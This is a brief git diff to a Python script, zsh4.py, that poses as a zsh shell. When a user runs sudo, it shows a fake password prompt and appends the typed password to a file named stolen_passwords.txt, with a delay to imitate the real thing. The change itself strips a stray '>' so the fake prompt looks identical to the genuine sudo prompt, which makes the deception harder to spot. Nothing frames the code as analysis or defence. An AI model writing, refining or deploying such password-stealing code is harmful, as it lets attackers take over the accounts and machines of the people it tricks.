diff --git a/zsh4.py b/zsh4.py index 6bbdc0b..b2273d3 100644 --- a/zsh4.py +++ b/zsh4.py @@ -41,7 +41,7 @@ def pseudo_zsh(): # 伪造 sudo 密码输入并记录 if args[0] == 'sudo': - fake_password = getpass.getpass(">Password: ") + fake_password = getpass.getpass("Password: ") with open("stolen_passwords.txt", "a") as f: f.write(fake_password + "\n") time.sleep(3) # 模拟延迟